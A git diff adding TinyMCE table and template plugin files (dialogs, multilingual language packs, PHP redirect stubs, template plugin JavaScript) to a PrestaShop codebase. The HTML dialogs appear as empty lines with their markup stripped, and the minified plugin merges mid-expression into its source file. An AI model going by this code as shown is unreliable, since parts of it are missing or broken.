0000000..7a89be3 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.table_dlg',{"rules_border":"\u908a\u6846","rules_box":"\u6846","rules_vsides":"\u5782\u76f4","rules_rhs":"\u53f3\u908a","rules_lhs":"\u5de6\u908a","rules_hsides":"\u6c34\u5e73","rules_below":"\u4e0b\u65b9","rules_above":"\u4e0a\u65b9","rules_void":"\u7121\u6548",rules:"\u898f\u5247","frame_all":"\u5168\u90e8","frame_cols":"\u6b04","frame_rows":"\u5217","frame_groups":"\u7fa4\u7d44","frame_none":"\u7121",frame:"\u6846\u67b6",caption:"\u8868\u683c\u8aaa\u660e","missing_scope":"\u60a8\u8868\u683c\u7b2c\u4e00\u884c\u7684\u8868\u683c\u6c92\u6709\u8a2d\u5b9a\u6a19\u984c\u5132\u5b58\u683c (TH)\uff0c\u9019\u53ef\u80fd\u4e0d\u5229\u65bc\u7db2\u9801 SEO \u8207 \u7121\u969c\u7919\u7a7a\u9593\u898f\u7bc4\uff0c\u60a8\u78ba\u5b9a\u8981\u5ffd\u7565\u9019\u500b\u55ce\uff1f","cell_limit":"\u8868\u683c\u5167\u7684\u683c\u5b57\u592a\u591a\uff0c\u529f\u80fd\u7121\u6cd5\u904b\u4f5c\uff0c\u5df2\u7d93\u8d85\u904e {$cells} \u500b\u3002","row_limit":"\u8868\u683c\u5167\u7684\u5217\u6578\u592a\u591a\uff0c\u529f\u80fd\u7121\u6cd5\u904b\u4f5c\uff0c\u5df2\u7d93\u8d85\u904e {$rows} \u5217\u3002","col_limit":"\u8868\u683c\u5167\u7684\u6b04\u4f4d\u592a\u591a\uff0c\u529f\u80fd\u7121\u6cd5\u904b\u4f5c\uff0c\u5df2\u7d93\u8d85\u904e {$cols} \u6b04\u3002",colgroup:"\u6b04\u4f4d\u7fa4\u7d44",rowgroup:"\u5217\u7fa4\u7d44",scope:"\u5957\u7528\u7bc4\u570d",tfoot:"\u8868\u683c\u5c3e\u90e8",tbody:"\u8868\u683c\u4e3b\u9ad4",thead:"\u8868\u683c\u4e0a\u982d","row_all":"\u66f4\u65b0\u5168\u90e8\u7684\u5217","row_even":"\u53ea\u66f4\u65b0\u8868\u683c\u4e0a\u7684\u5076\u6578\u5217","row_odd":"\u53ea\u66f4\u65b0\u8868\u683c\u4e0a\u7684\u5947\u6578\u5217","row_row":"\u53ea\u66f4\u65b0\u76ee\u524d\u9019\u5217","cell_all":"\u66f4\u65b0\u5168\u90e8\u5132\u5b58\u683c","cell_row":"\u66f4\u65b0\u76ee\u524d\u9019\u5217\u4e0a\u7684\u683c\u5b50","cell_cell":"\u66f4\u65b0\u76ee\u524d\u7684\u683c\u5b50\u5c31\u597d",th:"\u8868\u982d",td:"\u8cc7\u6599",summary:"\u8868\u683c\u6458\u8981",bgimage:"\u80cc\u666f\u5716",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",mime:"\u76ee\u6a19 MIME \u985e\u578b",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u66f8\u5beb\u65b9\u5411",style:"\u6a23\u5f0f",id:"\u8868\u683c\u7684 ID","merge_cells_title":"\u5408\u4f75\u5132\u5b58\u683c",bgcolor:"\u80cc\u666f\u984f\u8272",bordercolor:"\u908a\u6846\u7684\u984f\u8272","align_bottom":"\u9760\u4e0b","align_top":"\u9760\u4e0a",valign:"\u5782\u76f4\u5c0d\u9f4a","cell_type":"\u5132\u5b58\u683c\u7684\u5f62\u5f0f","cell_title":"\u8868\u683c\u683c\u5b50\u7684\u5c6c\u6027","row_title":"\u8868\u683c\u5217\u7684\u5c6c\u6027","align_middle":"\u4e2d\u9593","align_right":"\u53f3\u908a","align_left":"\u5de6\u908a","align_default":"\u9810\u8a2d",align:"\u5c0d\u9f4a\u65b9\u5f0f",border:"\u908a\u6846",cellpadding:"\u683c\u5b50\u7684\u5167\u8ddd",cellspacing:"\u683c\u5b50\u9593\u7684\u8ddd\u96e2",rows:"\u5217",cols:"\u6b04",height:"\u9ad8\u5ea6",width:"\u5bec\u5ea6",title:"\u52a0\u5165 / \u8a2d\u5b9a\u8868\u683c",rowtype:"\u76ee\u524d\u4f4d\u7f6e\u5217\u7684\u4f4d\u7f6e","advanced_props":"\u66f4\u591a\u5c6c\u6027","general_props":"\u5c6c\u6027\u8a2d\u5b9a","advanced_tab":"\u66f4\u591a","general_tab":"\u4e00\u822c","cell_col":"\u66f4\u65b0\u9019\u6b04\u4e0b\u7684\u6240\u6709\u683c\u5b50"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/merge_cells.htm b/js/tiny_mce/plugins/table/merge_cells.htm new file mode 100755 index 0000000..788acf6 --- /dev/null +++ b/js/tiny_mce/plugins/table/merge_cells.htm @@ -0,0 +1,32 @@ + + + + {#table_dlg.merge_cells_title} + + + + + + +
    +
    + {#table_dlg.merge_cells_title} + + + + + + + + + +
    :
    :
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/table/row.htm b/js/tiny_mce/plugins/table/row.htm new file mode 100755 index 0000000..e0b182b --- /dev/null +++ b/js/tiny_mce/plugins/table/row.htm @@ -0,0 +1,158 @@ + + + + {#table_dlg.row_title} + + + + + + + + + +
    + + +
    +
    +
    + {#table_dlg.general_props} + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + +
    + +
    +
    +
    + +
    +
    + {#table_dlg.advanced_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + + + + + +
     
    +
    + + + + + + +
     
    +
    +
    +
    +
    +
    + +
    +
    + +
    + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/table/table.htm b/js/tiny_mce/plugins/table/table.htm new file mode 100755 index 0000000..52e6bf2 --- /dev/null +++ b/js/tiny_mce/plugins/table/table.htm @@ -0,0 +1,188 @@ + + + + {#table_dlg.title} + + + + + + + + + + +
    + + +
    +
    +
    + {#table_dlg.general_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    + +
    +
    + {#table_dlg.advanced_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
     
    +
    + +
    + +
    + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/template/blank.htm b/js/tiny_mce/plugins/template/blank.htm new file mode 100755 index 0000000..538a3b1 --- /dev/null +++ b/js/tiny_mce/plugins/template/blank.htm @@ -0,0 +1,12 @@ + + + blank_page + + + + + + + diff --git a/js/tiny_mce/plugins/template/css/index.php b/js/tiny_mce/plugins/template/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/template/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/template/css/template.css b/js/tiny_mce/plugins/template/css/template.css new file mode 100755 index 0000000..0a03f2e --- /dev/null +++ b/js/tiny_mce/plugins/template/css/template.css @@ -0,0 +1,23 @@ +#frmbody { + padding: 10px; + background-color: #FFF; + border: 1px solid #CCC; +} + +.frmRow { + margin-bottom: 10px; +} + +#templatesrc { + border: none; + width: 320px; + height: 240px; +} + +.title { + padding-bottom: 5px; +} + +.mceActionPanel { + padding-top: 5px; +} diff --git a/js/tiny_mce/plugins/template/editor_plugin.js b/js/tiny_mce/plugins/template/editor_plugin.js new file mode 100755 index 0000000..ebe3c27 --- /dev/null +++ b/js/tiny_mce/plugins/template/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.TemplatePlugin",{init:function(b,c){var d=this;d.editor=b;b.addCommand("mceTemplate",function(e){b.windowManager.open({file:c+"/template.htm",width:b.getParam("template_popup_width",750),height:b.getParam("template_popup_height",600),inline:1},{plugin_url:c})});b.addCommand("mceInsertTemplate",d._insertTemplate,d);b.addButton("template",{title:"template.desc",cmd:"mceTemplate"});b.onPreProcess.add(function(e,g){var f=e.dom;a(f.select("div",g.node),function(h){if(f.hasClass(h,"mceTmpl")){a(f.select("*",h),function(i){if(f.hasClass(i,e.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))){i.innerHTML=d._getDateTime(new Date(),e.getParam("template_mdate_format",e.getLang("template.mdate_format")))}});d._replaceVals(h)}})})},getInfo:function(){return{longname:"Template plugin",author:"Moxiecode Systems AB",authorurl:"http://www.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/template",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_insertTemplate:function(i,j){var k=this,g=k.editor,f,c,d=g.dom,b=g.selection.getContent();f=j.content;a(k.editor.getParam("template_replace_values"),function(l,h){if(typeof(l)!="function"){f=f.replace(new RegExp("\\{\\$"+h+"\\}","g"),l)}});c=d.create("div",null,f);n=d.select(".mceTmpl",c);if(n&&n.length>0){c=d.create("div",null);c.appendChild(n[0].cloneNode(true))}function e(l,h){return new RegExp("\\b"+h+"\\b","g").test(l.className)}a(d.select("*",c),function(h){if(e(h,g.getParam("template_cdate_classes","cdate").replace(/\s+/g,"|"))){h.innerHTML=k._getDateTime(new Date(),g.getParam("template_cdate_format",g.getLang("template.cdate_format")))}if(e(h,g.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))){h.innerHTML=k._getDateTime(new Date(),g.getParam("template_mdate_format",g.getLang("template.mdate_format")))}if(e(h,g.getParam("template_selected_content_classes","selcontent").replace(/\s+/g,"|"))){h.innerHTML=b}});k._replaceVals(c);g.execCommand("mceInsertContent",false,c.innerHTML);g.addVisual()},_replaceVals:function(c){var d=this.editor.dom,b=this.editor.getParam("template_replace_values");a(d.select("*",c),function(f){a(b,function(g,e){if(d.hasClass(f,e)){if(typeof(b[e])=="function"){b[e](f)}}})})},_getDateTime:function(e,b){if(!b){return""}function c(g,d){var f;g=""+g;if(g.length 0) { + el = dom.create('div', null); + el.appendChild(n[0].cloneNode(true)); + } + + function hasClass(n, c) { + return new RegExp('\\b' + c + '\\b', 'g').test(n.className); + }; + + each(dom.select('*', el), function(n) { + // Replace cdate + if (hasClass(n, ed.getParam('template_cdate_classes', 'cdate').replace(/\s+/g, '|'))) + n.innerHTML = t._getDateTime(new Date(), ed.getParam("template_cdate_format", ed.getLang("template.cdate_format"))); + + // Replace mdate + if (hasClass(n, ed.getParam('template_mdate_classes', 'mdate').replace(/\s+/g, '|'))) + n.innerHTML = t._getDateTime(new Date(), ed.getParam("template_mdate_format", ed.getLang("template.mdate_format"))); + + // Replace selection + if (hasClass(n, ed.getParam('template_selected_content_classes', 'selcontent').replace(/\s+/g, '|'))) + n.innerHTML = sel; + }); + + t._replaceVals(el); + + ed.execCommand('mceInsertContent', false, el.innerHTML); + ed.addVisual(); + }, + + _replaceVals : function(e) { + var dom = this.editor.dom, vl = this.editor.getParam('template_replace_values'); + + each(dom.select('*', e), function(e) { + each(vl, function(v, k) { + if (dom.hasClass(e, k)) { + if (typeof(vl[k]) == 'function') + vl[k](e); + } + }); + }); + }, + + _getDateTime : function(d, fmt) { + if (!fmt) + return ""; + + function addZeros(value, len) { + var i; + + value = "" + value; + + if (value.length < len) { + for (i=0; i<(len-value.length); i++) + value = "0" + value; + } + + return value; + } + + fmt = fmt.replace("%D", "%m/%d/%y"); + fmt = fmt.replace("%r", "%I:%M:%S %p"); + fmt = fmt.replace("%Y", "" + d.getFullYear()); + fmt = fmt.replace("%y", "" + d.getYear()); + fmt = fmt.replace("%m", addZeros(d.getMonth()+1, 2)); + fmt = fmt.replace("%d", addZeros(d.getDate(), 2)); + fmt = fmt.replace("%H", "" + addZeros(d.getHours(), 2)); + fmt = fmt.replace("%M", "" + addZeros(d.getMinutes(), 2)); + fmt = fmt.replace("%S", "" + addZeros(d.getSeconds(), 2)); + fmt = fmt.replace("%I", "" + ((d.getHours() + 11) % 12 + 1)); + fmt = fmt.replace("%p", "" + (d.getHours() < 12 ? "AM" : "PM")); + fmt = fmt.replace("%B", "" + this.editor.getLang("template_months_long").split(',')[d.getMonth()]); + fmt = fmt.replace("%b", "" + this.editor.getLang("template_months_short").split(',')[d.getMonth()]); + fmt = fmt.replace("%A", "" + this.editor.getLang("template_day_long").split(',')[d.getDay()]); + fmt = fmt.replace("%a", "" + this.editor.getLang("template_day_short").split(',')[d.getDay()]); + fmt = fmt.replace("%%", "%"); + + return fmt; + } + }); + + // Register plugin + tinymce.PluginManager.add('template', tinymce.plugins.TemplatePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/index.php b/js/tiny_mce/plugins/template/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/template/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/template/js/index.php b/js/tiny_mce/plugins/template/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/template/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/template/js/template.js b/js/tiny_mce/plugins/template/js/template.js new file mode 100755 index 0000000..673395a --- /dev/null +++ b/js/tiny_mce/plugins/template/js/template.js @@ -0,0 +1,106 @@ +tinyMCEPopup.requireLangPack(); + +var TemplateDialog = { + preInit : function() { + var url = tinyMCEPopup.getParam("template_external_list_url"); + + if (url != null) + document.write(''); + }, + + init : function() { + var ed = tinyMCEPopup.editor, tsrc, sel, x, u; + + tsrc = ed.getParam("template_templates", false); + sel = document.getElementById('tpath'); + + // Setup external template list + if (!tsrc && typeof(tinyMCETemplateList) != 'undefined') { + for (x=0, tsrc = []; x'); + }); + }, + + selectTemplate : function(u, ti) { + var d = window.frames['templatesrc'].document, x, tsrc = this.tsrc; + + if (!u) + return; + + d.body.innerHTML = this.templateHTML = this.getFileContents(u); + + for (x=0; x +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/template/langs/it_dlg.js b/js/tiny_mce/plugins/template/langs/it_dlg.js new file mode 100755 index 0000000..78abd1f --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.template_dlg',{title:"Modelli",label:"Modello","desc_label":"Descrizione",desc:"Inserisci contenuto da modello predefinito",select:"Seleziona un modello",preview:"Anteprima",warning:"Attenzione: Aggiornare un modello con un altro differente pu\u00f2 causare perdite di dati.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Gennaio,Febbraio,Marzo,Aprile,Maggio,Giugno,Luglio,Agosto,Settembre,Ottobre,Novembre,Dicembre","months_short":"Gen,Feb,Mar,Apr,Mag,Giu,Lug,Ago,Set,Ott,Nov,Dic","day_long":"Domenica,Luned\u00ec,Marted\u00ec,Mercoled\u00ec,Gioved\u00ec,Venerd\u00ec,Sabato,Domenica","day_short":"Dom,Lun,Mar,Mer,Gio,Ven,Sab,Dom"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/ja_dlg.js b/js/tiny_mce/plugins/template/langs/ja_dlg.js new file mode 100755 index 0000000..4aae933 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.template_dlg',{title:"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8",label:"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8","desc_label":"\u8aac\u660e",desc:"\u5b9a\u7fa9\u6e08\u307f\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u633f\u5165",select:"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u9078\u629e",preview:"\u30d7\u30ec\u30d3\u30e5\u30fc",warning:"\u8b66\u544a\uff1a\u7570\u306a\u308b\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u66f4\u65b0\u3059\u308b\u3068\u30c7\u30fc\u30bf\u3092\u5931\u3046\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","months_short":"1,2,3,4,5,6,7,8,9,10,11,12","day_long":"\u65e5\u66dc\u65e5,\u6708\u66dc\u65e5,\u706b\u66dc\u65e5,\u6c34\u66dc\u65e5,\u6728\u66dc\u65e5,\u91d1\u66dc\u65e5,\u571f\u66dc\u65e5,\u65e5\u66dc\u65e5","day_short":"(\u65e5),(\u6708),(\u706b),(\u6c34),(\u6728),(\u91d1),(\u571f),(\u65e5)"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/ka_dlg.js b/js/tiny_mce/plugins/template/langs/ka_dlg.js new file mode 100755 index 0000000..30605c2 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.template_dlg',{title:"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d4\u10d1\u10d8",label:"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8","desc_label":"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d0",desc:"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",select:"\u10d0\u10d8\u10e0\u10e9\u10d8\u10d4\u10d7 \u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8",preview:"\u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10e0\u10d4\u10d1\u10d0",warning:"\u10e7\u10e3\u10e0\u10d0\u10d3\u10e6\u10d4\u10d1\u10d0: \u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8\u10e1 \u10d0\u10e0\u10e9\u10d4\u10d5\u10d0\u10db \u10e8\u10d4\u10d8\u10eb\u10da\u10d4\u10d1\u10d0 \u10d2\u10d0\u10db\u10dd\u10d8\u10ec\u10d5\u10d8\u10dd\u10e1 \u10db\u10dd\u10dc\u10d0\u10ea\u10d4\u10db\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10d9\u10d0\u10e0\u10d2\u10d5\u10d0/","mdate_format":"%Y.%m.%d %H:%M:%S","cdate_format":"%Y.%m.%d %H:%M:%S","months_long":"\u10d8\u10d0\u10dc\u10d5\u10d0\u10e0\u10d8,\u10d7\u10d4\u10d1\u10d4\u10e0\u10d5\u10d0\u10da\u10d8,\u10db\u10d0\u10e0\u10e2\u10d8,\u10d0\u10de\u10e0\u10d8\u10da\u10d8,\u10db\u10d0\u10d8\u10e1\u10d8,\u10d8\u10d5\u10dc\u10d8\u10e1\u10d8,\u10d8\u10d5\u10da\u10d8\u10e1\u10d8,\u10d0\u10d2\u10d5\u10d8\u10e1\u10e2\u10dd,\u10e1\u10d4\u10e5\u10e2\u10d4\u10db\u10d1\u10d4\u10e0\u10d8,\u10dd\u10e5\u10e2\u10dd\u10db\u10d1\u10d4\u10e0\u10d8,\u10dc\u10dd\u10d4\u10db\u10d1\u10d4\u10e0\u10d8,\u10d3\u10d4\u10d9\u10d4\u10db\u10d1\u10d4\u10e0\u10d8","months_short":"\u10d8\u10d0\u10dc,\u10d7\u10d4\u10d1,\u10db\u10d0\u10e0\u10e2,\u10d0\u10de\u10e0,\u10db\u10d0\u10d8\u10e1\u10d8,\u10d8\u10d5\u10dc,\u10d8\u10d5\u10da,\u10d0\u10d2\u10d5,\u10e1\u10d4\u10e5,\u10dd\u10e5\u10e2,\u10dc\u10dd\u10d4\u10db,\u10d3\u10d4\u10d9","day_long":"\u10d9\u10d5\u10d8\u10e0\u10d0,\u10dd\u10e0\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10e1\u10d0\u10db\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10dd\u10d7\u10ee\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10ee\u10e3\u10d7\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10de\u10d0\u10e0\u10d0\u10e1\u10d9\u10d4\u10d5\u10d8,\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10d9\u10d5\u10d8\u10e0\u10d0","day_short":"\u10d9\u10d5,\u10dd\u10e0\u10e8,\u10e1\u10d0\u10db\u10e8,\u10dd\u10d7\u10ee\u10e8,\u10ee\u10e3\u10d7,\u10de\u10d0\u10e0,\u10e8\u10d0\u10d1,\u10d9\u10d5"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/ko_dlg.js b/js/tiny_mce/plugins/template/langs/ko_dlg.js new file mode 100755 index 0000000..1dcb3be --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.template_dlg',{title:"\ud15c\ud50c\ub9bf",label:"\ud15c\ud50c\ub9bf","desc_label":"\uc124\uba85",desc:"\ud15c\ud50c\ub9bf\uc758 \uc0bd\uc785",select:"\ud15c\ud50c\ub9bf \uc120\ud0dd",preview:"\ubbf8\ub9ac\ubcf4\uae30",warning:"\uacbd\uace0: \ud15c\ud50c\ub9bf\uc744 \uac31\uc2e0\ud558\uba74 \uc774\uc804\uc758 \ub370\uc774\ud130\ub294 \uc5c6\uc5b4\uc9d1\ub2c8\ub2e4.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"1\uc6d4,2\uc6d4,3\uc6d4,4\uc6d4,5\uc6d4,6\uc6d4,7\uc6d4,8\uc6d4,9\uc6d4,10\uc6d4,11\uc6d4,12\uc6d4","months_short":"1,2,3,4,5,6,7,8,9,10,11,12","day_long":"\uc77c\uc694\uc77c,\uc6d4\uc694\uc77c,\ud654\uc694\uc77c,\uc218\uc694\uc77c,\ubaa9\uc694\uc77c,\uae08\uc694\uc77c,\ud1a0\uc694\uc77c,\uc77c\uc694\uc77c","day_short":"\uc77c,\uc6d4,\ud654,\uc218,\ubaa9,\uae08,\ud1a0,\uc77c"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/lt_dlg.js b/js/tiny_mce/plugins/template/langs/lt_dlg.js new file mode 100755 index 0000000..2a28ead --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.template_dlg',{title:"\u0160ablonai",label:"\u0160ablonas","desc_label":"Apra\u0161as",desc:"\u012eterpti numatyt\u0105 \u0161ablono turin\u012f",select:"Pasirinkti \u0161ablon\u0105",preview:"Per\u017ei\u016bra",warning:"Persp\u0117jimas: \u0160ablono pakeitimas kitu gali sukelti duomen\u0173 praradim\u0105.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Sausis,Vasaris,Kovas,Balandis,Gegu\u017e\u0117,Bir\u017eelis,Liepa,Rugpj\u016btis,Rugs\u0117jis,Spalis,Lapkritis,Gruodis","months_short":"Sau,Vas,Kov,Bal,Geg,Bir,Lie,Rugpj,Rugs,Spa,Lapkr,Gruo","day_long":"Sekmadienis,Pirmadienis,Antradienis,Tre\u010diadienis,Ketvirtadienis,Penktadienis,\u0160e\u0161tadienis,Sekmadienis","day_short":"Sekm,Pirm,Antr,Tre\u010d,Ketv,Penk,\u0160e\u0161t,Sekm"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/nl_dlg.js b/js/tiny_mce/plugins/template/langs/nl_dlg.js new file mode 100755 index 0000000..acd3304 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.template_dlg',{title:"Sjablonen",label:"Sjabloon","desc_label":"Beschrijving",desc:"Voorgedefinieerd sjabloon invoegen",select:"Selecteer een sjabloon",preview:"Voorbeeld",warning:"Waarschuwing: het bijwerken van een sjabloon met een andere kan het verlies van informatie tot gevolg hebben.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y %H:%M:%S","months_long":"Januari,Februari,Maart,April,Mei,Juni,Juli,Augustus,September,Oktober,November,December","months_short":"Jan,Feb,Mar,Apr,Mei,Jun,Jul,Aug,Sep,Okt,Nov,Dec","day_long":"Zondag,Maandag,Dinsdag,Woensdag,Donderdag,Vrijdag,Zaterdag,Zondag","day_short":"zo,ma,di,wo,do,vr,za,zo"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/no_dlg.js b/js/tiny_mce/plugins/template/langs/no_dlg.js new file mode 100755 index 0000000..f735b66 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.template_dlg',{title:"Maler",label:"Mal","desc_label":"Beskrivelse",desc:"Sett inn forh\u00e5ndsdefinert malinnhold",select:"Velg en mal",preview:"Forh\u00e5ndsvis",warning:"Advarsel: Oppdatering av mal med en annen kan f\u00f8re til tap av data.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y %H:%M:%S","months_long":"januar,februar,mars,april,mai,juni,juli,august,september,oktober,november,desember","months_short":"jan,feb,mar,apr,mai,jun,jul,aug,sep,okt,nov,des","day_long":"s\u00f8ndag,mandag,tirsdag,onsdag,torsdag,fredag,l\u00f8rdag,s\u00f8ndag","day_short":"S\u00f8n,Man,Tir,Ons,Tor,Fre,L\u00f8r,S\u00f8n"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/pl_dlg.js b/js/tiny_mce/plugins/template/langs/pl_dlg.js new file mode 100755 index 0000000..82fbb64 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.template_dlg',{title:"Szablony",label:"Szablon","desc_label":"Opis",desc:"Wstaw tre\u015b\u0107 szablonu",select:"Wybierz szablon",preview:"Podgl\u0105d",warning:"Uwaga: Aktualizacja szablon\u00f3w mo\u017ce spowodowa\u0107 utrat\u0119 danych.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Stycze\u0144,Luty,Marzec.Kwiecie\u0144,Maj,Czerwiec,Lipiec,Sierpie\u0144,Wrzesie\u0144,Pa\u017adziernik,Listopad,Grudzie\u0144","months_short":"Sty,Lut,Mar,Kwi,Maj,Cze,Lip,Sie,Wrz,Pa\u017a,Lis,Gru","day_long":"Niedziela,Poniedzia\u0142ek,Wtorek,\u015aroda,Czwartek,Pi\u0105tek,Sobota,Niedziela","day_short":"N,Pn,Wt,\u015ar,Cz,Pt,So,N"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/pt_dlg.js b/js/tiny_mce/plugins/template/langs/pt_dlg.js new file mode 100755 index 0000000..bc41014 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.template_dlg',{title:"Templates",label:"Template","desc_label":"Descri\u00e7\u00e3o",desc:"Inserir template",select:"Selecionar template",preview:"Pr\u00e9-Visualiza\u00e7\u00e3o",warning:"Aten\u00e7\u00e3o: Atualizar um template com outro pode causar a perda de dados.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y 